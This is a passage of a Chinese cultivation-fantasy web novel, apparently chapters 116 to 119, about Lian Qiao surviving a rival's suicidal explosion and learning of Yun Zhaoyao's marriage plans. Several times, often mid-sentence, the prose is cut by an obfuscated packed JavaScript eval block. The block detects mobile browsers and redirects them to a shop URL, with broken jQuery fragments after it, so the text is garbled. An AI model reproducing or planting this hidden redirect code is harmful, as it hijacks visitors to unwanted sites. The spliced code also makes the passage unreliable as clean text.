“你回去吧。”擦完剑,云招摇将“招摇”收回剑鞘内,“只要你帮我进入迟家,你要的东西我肯定会帮你找到。” 拢了拢衣袍,浅紫色的瞳孔逐渐变黑,赫连重俊俏邪气的容颜也渐渐收敛,变成一个正常弟子的模样。 忽然觉得没什么意思,他挥挥手,“走了。” “对了。”临走之前他又转头,问云招摇,要不要帮她解决最近的那个麻烦。 原本盘腿闭眼不再说话的女子睁开眼,“你在剑宗内行动受限制,就算动手,也不要太直接。” “放心吧,不会跟你扯上关系的。”赫连重道,“你那个嗑药磕多了的师妹,不是也很讨厌她么。” “招摇,我也是真心喜欢你,但是你这么无情,不拿我的真心当算。”赫连重笑了笑,不无可惜,“不过没关系,你帮我是同等交易,但是我帮你是我自愿,一切都会给你收拾得妥妥当当的。” 入夜很久了,灯光高照,海棠花的影子打在墙上,随风来回摆动,像飘忽的鬼影。男人笼起衣袖,从内阁弟子的地方换到外门弟子的寝房。 他平平无奇普普通通,扔在人堆里也没有人会多看一眼。 * “我认为你不用这么盯着我,我一直很认真,你盯着我的作用在哪里呢?”这些天在练剑场一路过五关斩六将,阴阳境从一境直接突破一百境,成为剑宗目前破前百境速度名列前茅新一代剑修天才的连乔非常郁闷。 “迟星垂,要不放我一天假吧?” “休息可以,但是云中峰规矩是,学习期间忌酒,禁夜游,忌美色,禁无端不归宗,你如果能保证不会破戒破例,我可以不盯着你。” 面对连乔一点一点白下去的脸,迟星垂染上笑意,“写好保证书,签字画押,我许你一日假。” 连乔:“迟星垂,你不能这样。” “你不能自己过得寡淡无味和白开水似的,就要求我也过同样的生活。”连乔双手叉腰,站在阴阳境一百零一境门口不出去,“我还年轻,有大把好青春,你那是谁定的标准,怎么就非要我遵守?” “办不到啊?”迟星垂做了个“请”的手势,“继续练剑吧。” 连乔:…… 两个人在阴阳境门口吵架,准确来说不是吵架,是连乔单方面输出,她拼命让迟星垂放她离开,急得上蹿下跳,迟星垂面不改色,他问你是不是要去借酒楼鬼混? “是啊……” 她忽然不受控制地说出内心真实想法,在迟星垂冷笑中,她跳起来捂住自己的嘴,“不是啊不是啊,我怎么会去鬼混呢,我只是想回去看看我的生意怎么样了。” 然后又松开手,“我的生意当然不会差,我是想去喝点小酒再到隔壁的玉兰坊混上一夜,白花惊说新来了一个喜欢唱歌的爱笑的鲛人小哥哥,我打算今晚就带她去……” 猛地闭上嘴,咬紧了牙关不让自己说话,等那股不受控制的感觉消失后,连乔怒而出巴掌,“啊啊啊啊啊啊……” “迟星垂你对我干了什么,你是不是给我下药了,啊啊啊……” 迟星垂抓住她的手,雨点一样密集的巴掌也停下。他取出一枚冰晶一样的坠子,挂在连乔身上,“真言之灵。” “这东西在你言行不一的时候会发光,能够控制你的语言,让你说出心中所想。”迟星垂意味深长,“如果你不撒谎,这东西就对你没有用,也不至于现在这么丢人。” 连乔:“啊啊啊……” “进去好好练习。”笑起来无害且冷漠的迟星垂道,“继续破五境,我在这里等你。” 连乔郁闷地往阴阳境内踏步,一只脚踏进阴阳境内还在想,迟星垂你完了,你如此恶毒且直男,以后会找不到老婆的,你会跟你上辈子一样孤独终老。 还没有完全进境内,就听到一声脆生生的“迟师兄”。 被连乔打上“无妻徒刑”的迟星垂束手站在一百零一境外,旁边站着一个清秀的姑娘,姑娘看到他很高兴,但是笑容非常不自然。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176588|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 白祺问:“迟师兄你怎么会在这里?” 迟星垂礼貌且疏离,“我在等连乔。” 对面的清秀女子不自然地握了一下手,“哦,等连乔么,之前我一直看到迟来风师兄送她过来的。” 连乔:? 不等白祺再出言诋毁,迟星垂淡淡道,“嗯,但以后都会是我来送她。” 那一端气氛沉静得可怕,明明什么声音也没有,连乔就是感觉听到了心碎成渣的“咔嚓”声。 她重新缩回头,美滋滋地往里走。 嘿嘿,直男就是好,基本不用她费心去帮他拒绝烂桃花,他自己就有非常利落的手段。 一百零一境比一百境更难,基本相当于一个中型秘境的难度,在此卡关的人不计其数。 比如方才在门口与她师兄搭讪的那位,白祺。 刚入宗门,白祺云招摇几人的修为都差不多,甚至经常一起在同一个阴阳境内一同历练。 不过随着时间的流逝,几人的差距越发明显,林锦绣跟上去最为吃力,最先被主角团甩下,而白祺很快也跟不上,现在只有云招摇后发之力最强,一直在稳步前行。 在一百零一境内碰到白祺,连乔一点也不惊讶,等对面那人堵在她面前又想找事,连乔也习以为常。 但她不想跟对方计较。 不是怕被缠上,而是她压根看不上和对方纠缠。 白祺和同月一样是疯狗,但同月是那种会咬人的疯狗,而白祺纯粹是那种没本事咬人,但是喜欢吃脏东西然后随处甩,非要也惹你一身腥的疯狗。 遇到这种人,连乔的第一反应是躲。 有时候被恶心到还不如被咬到,被恶心到的感觉更难受,往往跟吃了苍蝇一样,好几天反胃。 今天也一样,她怕这疯狗因为被心上人拒绝,开始往自己身上撒气,所以看到她也当作没看到,从侧面绕开了。 然后在久久不得突破的她面前,轻而易举破了一百零一境,一只脚就要踏出去。 然后听到一声仿佛鬼吼的尖啸,“啊!” 白祺脸部扭曲,“连乔,你个死妖女是不是故意的!” 很不喜欢听脏话的连乔“啧”了一声,转过脸来,“当然不是了,我羞辱你还需要故意吗?” “有时候我真想替你重新和一和脑子里的浆糊,让它变得稠一点,不要那么明显让别人听到你脑子里的水声。” 骂人的方式千奇百怪,白祺被这么花哨的骂法惊呆了。 没等她回应,连乔接着说,“但凡你有那些敏感多疑的时间,拿它去看看书去练练剑不好么,你来膈应我中伤我,就能抬高你自己让你看上去身价更高?不会的,会让你落下更多离我更远。” “答应我,专注你自身,好好修行,别浪费那宝贵的时光好吗?” 一直以来被女主三人团恶心得不行的连乔只出了一点功力,就将白祺气得团团转。 她收起剑,抬脚踏出阴阳镜。 然后……踏出去了,又回来了。 又在前方看到扭曲了脸的白祺,连乔愣住,她立刻伸手去掏强制出阴阳镜的灵牌。 那灵牌,也不知道何时不见了。 她被困在这阴阳境内。 117.第 117 章 自己的退路被断掉,对面的人面露凶光,想也不用想她要干什么坏事。 面对白祺举剑,连乔冷冷道,“我劝你别硬来,我和以前不一样,你打不过我。” 这种话对白祺来说根本没有用,被连乔贴脸开大,她觉得自己被侮辱了,提剑过来要和她硬拼。 连乔几招将她的剑挑落,白光之剑“哐当”一声掉落在地。 “就是你的师姐云招摇,修为和剑术也远在我之下。”连乔不再理她,而是取出万机给迟星垂发讯息,让他从外面将阴阳镜打开。 信息没能发出去。 系统道:“应该是在阴阳境内又开了一处幻境,完全与外界隔绝了。宿主,白祺来势汹汹,你小心点。” “你很得意是不是,连乔。”白祺蹲下身,笨拙地捡起本命剑。 她曾经也认为自己是剑宗的天才一辈。十岁悟剑意,十六岁在冲虚学院修行,次年拜入乾元剑宗——她这一路已经很辉煌很轻松了,为什么还会有人比她走得更快更远? 在她为不得突破的修为日夜不寐,为不得突破的一百零一境辗转反侧,为与云招摇之间的距离越拉越大无比煎熬时,凭什么有人,不费吹灰之力,突然就那么轻松突破,超过她那么多? 自己最骄傲的“日光”,就这样被她轻易挑落在地——凭什么呢? 可是,她又能拿她怎么办? 她打不过她,没有她有背景,就算是师父李长淮也要给她三份薄面…… 真可笑啊。 望着白祺扭曲到狰狞的表情,连乔心中升起不好的预感,在系统大喊一声“宿主快跑”的瞬间,那女子以一种诡异的姿势奔袭而来,一把抓住她,力气大的手指都要抠进她肉里。 “连乔,我知道我没办法打得过你,我可能一辈子也够不到你的高度,我嫉妒你的轻松,我厌恶你的松弛,而我爱慕的人也一心一意喜欢你,你真的是……太让我怨恨了。” 她笑起来,笑声让连乔毛骨悚然,她说,“我这辈子就这样了,但是我不想看到你扶摇而上平步青云。” 如同索命恶鬼的声音在耳边响起,“你陪我,一同下地狱吧……” 白祺越涨越大,像是成功发面的馒头,整个人都充涨着气体,她身上的温度也异常之高,像被烫熟一样,因为痛苦,她的表情也异常惊悚。 系统尖叫,宿主你快跑啊快跑啊…… 连乔全身都在抗拒,“我也想跑啊,她拽着我的手,我跑不了啊啊啊……” “你就不能把你的手砍了吗?!”第一次见到这种玉石俱焚场面的系统声音都带着哭腔,“她要炸了,她就想吃了十几吨炸.药一样恐怖,你不砍手就准备和她一起死在这里吧!” 连乔:“啊啊啊啊啊那我以后不就成了独臂姑娘啦?” 算了,命比较重要,活下来后,就算少了一只手,也有机会装义肢…… 咬紧了牙,准备好了牺牲左手的打算,还没出力,一道剑光劈下,斩断白祺抠在连乔胳膊上的手。 白祺仰着脸,望着迟星垂在她炸裂的前一秒,拽住连乔的手,带着她离开这偌大的幻境中。 她想起第一次进乾元剑宗的时候。 迟星垂练完剑,从三千长阶而过,清风混合着月光铺撒在剑宗之中,但都不及他分毫。 少女的心动极其简单,就这样人群间的一瞥,让她爱慕至今。 但是自己恐怕永远都配不上他。 她何尝不知道自己很普通,有时候甚至很毒舌,但是在他面前,她会收起所有的小性子和小动作,尽量将最好的一面露出来。 身体炸裂,连带着整个一百零一境也被夷为平地,意识定格在最后一秒,她想伸手去碰一下迟星垂的衣角,想知道是不是月光般的触感。 但是那个人牵着连乔离开,另一只手揽住她后背,不让她沾上一丝污浊。 就像护着一个稀世珍宝。 他连头都没有回一下。 连乔抖着将扣在胳膊上的断手甩掉,这手也异常浮肿,像被开水泡了一个月一样又红又烫。 脱离身体后,这只手虽然仍旧有力,但是没之前那样疯了一样嵌入她体内。等她将断手扒拉开丢远了,那断手也“轰”的一声,随幻境一同炸裂,又消散。 亲眼看着一个人活生生在自己面前炸成血雾,这得是一辈子的心理阴影。 都说了白祺是那种喜欢吃脏东西乱甩的疯狗,果真如此。 脱离了险境的连乔已经没了力气,她缓缓地倒下,紧接着跌入一个怀抱。 连乔:“迟星垂,我做错什么了吗?” “怎么会有人宁愿死,也要拉我下水?”连乔捂住脸,声音颤抖,“我就那么令人生厌,宁愿放弃生命,也,也……”她说不出来了。 为什么会有这么残忍这么折磨她的方式。 “没事了。”迟星垂抱住她,“没关系的乔乔。” 迟星垂摸摸连乔的头,“是白祺自己用了禁药,想和你同归于尽,这和你没有任何关系。你很好,你一直很好,不要为无关的人怀疑自己。” 连乔没有说话,迟星垂拉住她手腕。先前白祺抠她手臂的伤口仍旧在,五个狰狞的血洞,鲜血透过衣袖往外渗,“啪嗒啪嗒”往下滴血。 手边没有可用的止血绷带,迟星垂撕下衣角,缠在连乔手臂上,做好简单的处理后,背着她回云中峰。 连乔少有地安静。 迟星垂和她说了两句话,连乔都“嗯”一声,声音弱弱的,兴致不太高。 迟星垂没再打扰她。 今天这情形,应该吓坏了吧。 良久,连乔开口了,“迟星垂,你怎么会出现?” 顿了一下,连乔听到他说,“我知道你的能力和修为,破一百零一境,绝不会超过一刻钟。” 但是他在外面等了一个时辰。 里面安静异常,没有任何的异象提示,但迟星垂不放心,在传她消息没有回应后,立刻进阴阳境内。 他很庆幸这一次他及时赶到了现场。 连乔是一个很善良的人,即使有时候脾气很大没脸没皮,但是却从没有存过害人之心——即使在那种危急的情况下,她的第一反应也是斩断自己的手逃生。 她没想过杀人,更没有存过害人的心思。 不过是他人看不惯她,所以才处处膈应,处处折磨。 连乔一路没有出声,趴在他肩上睡着了。迟星垂抬手,摸了摸她的额头,拂去落在她发上的落花。 白祺偷食玉石焚,妄图以自己为引引爆阴阳境第一百零一境,并和连乔同归于尽的消息很快传遍乾元剑宗,又传遍整个修真界。 隔在群山之外借酒楼的南道急的团团转,他质问迟星垂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187856|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“你们乾元剑宗怎么搞的,不想让我们家连乔好过就放人,一天天搞那么多破事儿!” “南道兄别这样。”童元宝探过头来安慰道,“这次真的是意外,是白祺的个人行为,虽然乾元剑宗里面确实是一堆混蛋……” 他声音弱了些,“不过你放心!我师兄第一时间就赶到了现场,连乔就胳膊上被掐了一点皮,其他没有受任何伤。” “什么掐破了皮?那五个血洞是一点皮吗?啊?” 童元宝羞愧得要用圆圆的下巴剖胸自杀。 到半夜,迟星垂从连乔房间内退出来,白花惊问连乔还好么,迟星垂道,“她睡了。” “玉石焚是禁药啊,剑宗这边根本没有,也被修真界明令禁止,也就只有黑市上有少许。”白花惊难以理解,“白祺这段时间一直在剑宗内,根本没出去,她上哪儿去弄这个药呢?” “有可能是别人给她的。”迟星垂皱眉,“当然,也不排除她以前就有这药的可能。” “我让我爹那边派人在剑宗内排查一遍,看看谁近期和白祺有往来。” “除了白祺,吉兆峰的弟子们都要排查一番。”迟星垂又补充道,“动静小一些,不要打草惊蛇。” 送走白花惊,迟星垂叫出吴息,让他派人去各大黑市,看近期可有人购买玉石焚的记录。 吴息有些迟疑,“公子,你说这次白祺和之前周重啸,是不是都授意于同一人?” “可能性不大。”迟星垂道,“我检查过阴阳境,一百零一境化为废墟,动静很大,指使白祺的人并不怕暴露自己。” 但周重啸做事很小心,如果不是控制不住,他绝对不会露出马脚。 这两批人,绝对不是来自同一个。 迟星垂轻呼一口气,“之前说,赫连重从妖域逃出来了?” “是。” “你去重月黑市和交渊黑市这两个最近的黑市看一看,是否有玉石焚的下落。” “公子怀疑是赫连重?”吴息不解,“不能吧,连乔姑娘怎么会惹上他呢?” “得罪了某些不能得罪的人也说不定。”迟星垂想了想又道,“再派人盯着吉兆峰,任何一个进出吉兆峰的人也不要放过。” “任何人?” “嗯,所有人。” 连乔在次日清晨醒来,这次睡得很不安慰,总是做各种奇怪的诡异的噩梦,好在睡了一晚,又补充了大量灵力,疲乏散去。 打开门,她“嗳”一声,望向靠在墙上的男人,“迟星垂?” 他身上落了几片花瓣,脚下也有一层落花,看上去在这里待了很久,有可能是守了一夜。 迟星垂驾轻就熟进了门,他说已经让白花惊去借酒楼领今日份限定,马上早餐会送过来,又问她要不要喝茶,随后就给她煮了一壶。 连乔托着腮,望着迟星垂修长的手指拂过精美的茶具,又给自己倒一杯茶,放在她面前,她幽幽叹一口气,“这样也挺好的。” 迟星垂抬眼,“嗯?” “我是说,要是经常被惊吓到,或者是受伤,能让高高在上傲慢无比的迟大公子这么温柔体贴地服侍我……”连乔重复那句,“那也挺好的。” “不用。”迟星垂给自己倒一杯茶,浅酌一口,“我不希望你总是受伤,如果你喜欢这样,在每一个平常的日子里,我也可以一直这么做。” 118.第 118 章 连乔顿住,望着迟星垂深邃的双眸,居然有一瞬间的慌张。 她低下头,呐呐道,“也不用经常,你偶尔当个人就好了。” 她问:“你真对我好吗迟师兄?” 在迟星垂回了个“嗯”后,连乔笑嘻嘻地,“那你能不能放我半天假?我……” 在真言之心的作用下,她非常顺滑地说出“我要跟着白花惊去玉兰别院里听小公子弹弹小曲儿喝喝小茶,她都去好几次了,我一次都没去过……” 时间全被迟星垂拿过来逼着她升级升级再升级,突破突破再突破了! 迟星垂:“……” 他觉得自己的暗疾可能马上就要发作了。 连乔大叫,啊啊啊啊啊师兄你怎么了你脸色为什么这么差? “对不起我错了……”连乔迅速滑跪,“我不去鬼混了,我就在这好好修心养性,我保证一天突破一级,三天突破五级,直接将阴阳境拉到最后的三百六十境,我保证不拉咱们云中峰后腿,呜呜呜你别这样要死不死的,会影响到我我害怕……” 迟星垂:“……我求你了你别气我了好吗。” 起码担心是真的担心,急得脸都要红了,没有半分虚情假意。迟星垂深呼吸一口气,指望连乔这黑心肝的铁树开花,那真是太难了。 但是他又拿她没办法。 “你以前也会这样吗?” “啊?” 面对连乔的迷茫,迟星垂接着解释道,“就比如你在你那个世界,也会经常去风月场所找一些小公子喝点小酒拉个小手吗?” “怎么可能?”连乔非常悲伤地叹了口气,“我们那里严格执行扫黄打非,看个小说脖子以下都不能写,形势异常严峻。而且我是公众人物,怎么会带头违法呢?我当然不会啦。” 迟星垂点点头,“那我放心了。” “你先别放心。” 连乔道,“你也知道我以前很漂亮,你见过我的,我漂亮吧?” 迟星垂:“……嗯。” “对啊,我漂亮又有钱,有名气有能力,性格好还善良……” 迟星垂:“好了,有些不合实际的就可以省略。” “怎么会不切实际呢,我所说的句句属实!”连乔坐正了,对他道,“我很好的,所以我都不用去那些会所,自然有人主动找上我。” “还有那种看着特别斯文体面的,平日里还是我很敬重的人,没想到私下玩那么变态,非要玩什么奇怪的play……” “我当时一拍桌子,说那不行,这得是另外的价钱!” 迟星垂:“???” 结局是连乔当着对方的面把屋子掀了,单方面宣布拜拜。 迟星垂听完后表情意味不明,他精准抓住连乔话中的重点,“什么是奇怪的play?play是什么?” 连乔支支吾吾,“就是好朋友一起玩耍的意思……” “是么?”迟星垂问,“那我不和你玩奇怪的play,我们玩正常的play可以吗?” 连乔:“QAQ!” 待这尴尬到让人想钻地洞的氛围慢慢揭过去,连乔清了清嗓子,“对了,这一世白祺死得蹊跷又诡异,上一世呢?上一世有没有发生类似的事?” 小说后期对女主好友团的细节描写几乎没有,自云招摇嫁给迟来风后,年少篇就此揭过,少女情怀也不再成篇,变成大段大场景画面描述。 比如迟来风力排众议要迎娶云招摇,比如二人之间爆发剧烈争吵后云招摇离开迟家在黑市结识大妖王,再比如迟星垂突发性坠魔…… “上一世李长淮门下的几个弟子,除云招摇外,林锦秀也在中途离开剑宗,回到锦绣山庄。至于白祺……”迟来风回想一番,“白祺在一次外出历练中身亡,死亡原因和这次一样,也是和对方同归于尽。” 连乔:“啊?” “但是没有这次这么严重。”迟星垂接着道,“李长淮素日里比较低调……当然面对你的时候有点癫狂,但除了上一次大比的时候故意为难,其他时候他也不会特意出尽风头。” 迟星垂接着道,“上一世白祺死后,李长淮将她的尸骨接回剑宗,并在剑宗弟子中立上灵牌。” 上一世死得正大光明,也算是轰轰烈烈。 但连乔却精准地抓到了其中的问题,她想起白花惊之前说过的,白祺很奇怪,她身上有种莫名的违和感。 “上一辈子白祺尸身保持完好么?具体的死因是什么?” “李长淮带她回宗门后,尸骨送回她家乡,并没有存放于弟子塔,也没有经过验尸。” 连乔道:“我觉得有问题。” 玉石焚是一种极为惨烈的禁药,其原理是将自己作为药引,引爆方圆十里。通常为低阶修士所用,能够越级几阶甚至十几阶,直接与高阶修士同归于尽。 玉石焚的副作用是药效极其不稳定,使用过程中非常容易发生不可控的局面,比如白祺这一次,直接将阴阳镜一百零一境炸为废墟。 而且使用玉石焚的使用条件也异常苛刻,通常需要修士极大的怨念。白祺性格执拗,但是也不至于有将自己作为药引的勇气。 结合白花惊之前说过白祺给人的感觉很奇怪,连乔猜测,白祺已经坠魔。 坠魔会让人性情大变,性格拉至极端,所以这一次她才会如此利落的动手。另外,趁此机会也能够借刀杀人,神不知鬼不觉处理掉白祺。 对此猜测,迟星垂也不置可否。他想了一下道,“指使周重啸的人和给白祺玉石焚的人不是一批人,但如果照这样分析,即使这两人背后的人不是一批人,也必然会有所联系。” “也许与玉非缘之间也有某种关系。” 连乔点头,“可能有关系,但立场大概率不同。” “玉非缘只是想让我生不如死,还不想取我性命,但是乾元剑宗这一一批人,都想杀我而后快。” 连乔往背后一仰,伸一个懒腰,“虽然我知道有时候自己很讨厌,但是也不至于一直让别人讨厌到想杀我,甚至有时候我都怀疑上辈子坠入跨海大桥,也是有人故意而为……迟星垂,我有这么招人恨吗?” 又陷入到某种回想,连乔的眼神也开始涣散失焦,烛光倒映在她的瞳孔中,原本便炯炯有神的眼睛越发明亮。 “你问我?” 连乔拖着下巴,迟星垂也学她拖着下巴,他说,“我觉得你有时候挺可爱的。” 一口茶喷出来,鼻腔进水,火辣辣的疼,连乔蹦起来咳嗽,眼泪都要咳出来,迟星垂拍一拍她的背。 “行了……”迟星垂瞥一眼她,揭露她的真面目,“但凡你嘴角上扬的没有这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199357|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么明显,我都会以为你被吓到。” 连乔深呼吸一口气,拍拍自己的胸口,“话不能这么说,迟师兄,从你这嘴比无尽海中的七彩游蛇毒液还要毒的人口中听到这种话,我确实很震惊。” “不过……”连乔拍拍胸口,“我还是很受用的,因为你说的一点都没错。” 她非常自信肯定那一句,我真的很可爱。 迟星垂点头,“嗯,脸皮可以再厚一点。” “你这是什么意思啊?刚夸你两句,你又要开始了是吗?”连乔指着他道,“迟星垂,你这样是讨不到老婆的。” 迟星垂握住她挥过来的拳头,连乔打人是真的疼,一点虚力都不用。 迟星垂心想以后日子可能真的不好过。 “我的意思是,你很好,那些人说你不好的都是他们的问题,你的脸皮可以再厚一点,这样的话就不用无关的东西所困扰了。” 说完他摸了摸连乔的头,连乔后知后觉的想,好像没有怎么看过迟星垂笑,他笑起来真好看,就像这屋外浪漫的一树桃花。 脸上的余温持续了好些天,一直到再踏入阴阳境内才退去。 迟星垂想让她再休息几天,连乔道,倒也不能因噎废食。 她还有很重要的是要做,敌人还在暗处盯着她,以后这种暗杀和黑手仍旧还会再遇到。她要一直往前走,一直到自己完全强大起来,不要靠任何人保护为止。 闻言,迟星垂只是摸了摸她的头,“好,你进去继续练习,我还在外面等你。” 门前的桃花林开了又谢谢了又开,等枝上结上硕大的果子,取下丰硕的果实后,桃林又重新染上红霞,又花落结果……如此几个春来秋往,连乔又突破几阶,阴阳镜破至一百六十六层。 在幻境内又遇到了老熟人。 看到云招摇,连乔并不惊讶,心无旁骛解阵破阵后,结束一百六十六境,又利落在云招摇的目光中提步离开。 “留步。”云招摇出声。 见连乔没有理会,云招摇捏碎阴阳境出境灵牌,提脚跟上去。 连乔这才停住脚,“请问有什么事吗?” “这几年我见到了你的进步,你很努力也很厉害。”云招摇道,“恭喜。” 连乔说了声谢谢,也并不打算继续和她说话,云招摇道,“你和我很像,是一个很努力很有目标的人,如果当初不是因为一些误会,想来我们也许会成为朋友。” “你怎么会这么觉得的呢?”连乔笑了笑,直言不讳道,“我觉得我们永远都不会成为朋友。” 云招摇的笑容僵在脸上,但很快又恢复原样,“是因为迟来风?” 像是听到了什么笑话,连乔露出了一个要笑又笑不出来的无语表情,她想说什么但是没说。 这表现在云招摇看来便是默认了。 “很抱歉,不久前又把来风从你手上抢过来。我知道你们经历过一些事再次重逢后也未免会干柴烈火……我不知道你会不会不甘心,但这不重要了。” 云招摇仰头望着天空,上弦月高悬,四周分布着密密麻麻的细小星辰,银河如练。 在连乔还沉浸在“她和迟来风有过一段关系”这个让人震惊的消息中没有回味过来,又听到一个炸裂的消息。 云招摇道,“我和来风,马上要成亲了。” 119.第 119 章 一种无由来的酸涩感从心□□发,像喝了一斤陈醋一样又酸又胀。 已经很久没有这种感觉了。 这是从原主身体里继承来的情绪。 自从连乔摆脱原主命运后,就很少有这种异常的感触,这让她有些沉默,也生出一些奇怪的想法。 连乔扬起下巴问云招摇,“你同我说这些做什么?我说了,我们不是朋友,我对你们也没有什么好感,就算知道你成亲,也不会随份子钱。” 对于连乔的呛声,云招摇只是笑了笑,对于连乔方才的怔愣与沉默,她也是看在眼中的。 这更像是气急败坏后的嘴硬。 回去的路上,连乔问迟星垂,知不知道自己和迟来风有过一段见不得光的奸情? 见到迟星垂立刻冷下来的脸,连乔连忙举手投降,“不是我不是我,我指的是连翘……这一具身体的真正主人连翘啊,她是不是和迟来风有过一段感情?” 迟星垂:“我不清楚。” “不过……”他回想一番,“在众多追到云岭迟家的人之中,貌似有过子午谷的人。” “当时迟家家主习惯性想用钱打发这件事,但对方财大气粗,并且扬言如果迟来风不给一个说法,就断掉对云岭的兵器特供,并且结束以后所有与迟家的生意往来。” 很不错,这很连乔。 怪不得系统会找上自己,原来发起癫来,自己和原主的性格是一样一样的。 “那之后呢?” “之后自然也没有成功。”迟星垂道,“迟来风雨云招摇之间感情深厚,打破所有艰难险阻,最后终于共结连理相互携手一生。”说完又补充道,“就和现在一样。” 就和现在一样…… 连乔问:“那时间呢?上一世云招摇嫁给迟来峰的时间也和现在一样吗?” “对。” 时间的洪流滚滚向前,最终的一切又和上一世的故事所重叠,只是属于她的这一条线不一样了。 回到房间,连乔对着系统大发雷霆,“你是不是一直在瞒着我什么东西?元原主和迟来风之间有一段关系,你居然一点都没有告诉我?” “那告诉你了又怎么样?他们两个人之间只是有过一段暧昧的经历,什么实质性的东西都没有发生。”系统声音懒懒的,“既然如此,有这一段跟没这一段又没有区别呢?” “怎么没有区别了?如果原主是单纯的纠缠迟来风,那就是她纯粹脑袋短路自己找罪受。但如果是她和迟来风之间有过暧昧关系,然后忽然间被冷暴力分手,她去找迟来风要说法,那这是天经地义的事!” 连乔原本站着,忽然猛地坐下去,但又突然站起来,实在是坐立难安。 她一拍桌子,“如果我早点知道这件事,那我也可以早点发现云招摇和迟来风都不是什么好人,也可以早一点确定,原主没有那么糟糕。” 原主对于迟来风并不是一见钟情,二人有一定的感情基础(但估计不多),而迟来风原本和她还是正常相处,忽然就冷漠下来——无论是上辈子还是这辈子,都突然从热情变为冷漠。 “这说明了什么?”连乔拍一拍桌子,加重语气问系统,“这说明了什么你知道吗?” “这说明云招摇的魅妖功力实在是深厚啊!”连乔由衷的赞叹。 “如果不是依靠魅妖的能力来迷惑迟来风,原主未必就那么快被迟来风拒绝。” 连乔像是发现了新大陆一样高兴,“如果公平竞争,说不定原主不一定会输给云招摇呢,那说不定迟家二媳妇的位置就让原主做了!” 说完连乔停顿下来不说话,等系统的反应。 系统那端也是沉默,死一样的沉默。 许久后它开了口,听语气像是吃了死苍蝇一样恶心。她说有没有一种可能呢,原主也不是很想嫁给迟来风。 它说那毕竟是个下头男,下头男刚好配下头女。 连乔问你能不能换个词,你是不是只会这两个词? 系统搜索枯肠也没有想到能够替代的词,它说这也不能怪我,毕竟我只是一个电子系统,程序运行的能力有限,这话已经是我骂他们的极端了。 连乔没再理会它,系统问你在看什么。 连乔提着万机,正在上面翻今日份热议名帖,顶到最上面的帖子是“容瑶大小姐”发的“云招摇伪善虚假之实证细节”,里面将云招摇这些年顶着一张人畜无害的脸所做的各种各样恶毒事件一一列举。 顶着这个id,不用想也知道是那位非常刚烈的表妹。 表妹将云招摇的罪状一一列举,比如云招摇身为魅妖却看不起妖修啊,对迟来风使用某种见不得人的狐媚子手段让迟来风对她百依百顺啊,往连乔身上泼脏水给她造黄谣啊,自己的捕兽网,困住连乔却见死不救差一点害得连乔被周重啸炸成血雾啊…… 诸如此类,列了十八条,条条感情真挚,细节详尽……这么多一页都放不下,得翻好几页才能看完。 因为是实名帖,列出的事实与细节又能和云招摇对得上,所以传播速度非常快,一时间风靡整个乾元剑宗,并且远扬其他各大宗门…… 连乔正吃瓜吃得高兴呢。容瑶对迟来风爱慕多年,结果自己的亲亲表哥转头就和妖艳贱,货成了亲,这搁谁身上都受不了。 容瑶就是在把事情往大了闹,这和原书中事情发展结果一模一样。迟来风对云招摇表达爱意。容瑶不甘心大闹一场,让云招摇丢尽了脸。 原书里面只是说容瑶揭露云招摇的真实面目是妖修,但是这一世揭露的真相要更多也更为惨烈…… 按照原书的发展,云招摇无脸再在剑宗留下去,选择下山躲避风波。听到心上人离开,迟来风心中像缺失了一块。原来自己早已深深爱上那个倔强又坚强的姑娘,心中除了云招摇,就再也放不下别人。 在云招摇离开后,迟来风毅然决然跟了上去。两人紧紧相拥,迟来风发誓会一辈子对云招摇好,之后不顾一切反对将她娶入迟家,并举办一场盛大的婚宴。 云招摇正式成为迟家儿媳妇。 连乔正想着接下来会发生什么,眼前的帖子忽然就“哗啦啦”全部消失,他立刻重新点进去刷新几遍,也仍旧不见那高高被顶起的新帖。 啊?捂嘴文学又要开始了吗?云岭迟家又要重新使出这一招了? 远隔数峰外,容瑶掀翻了整张桌子。 原本娇俏可爱的小姑娘双眼通红,对着面前的男人又哭又闹,“表哥,你到底在做什么,你为什么要拦着我,她所做的一切你都看不见吗,你为什么要帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 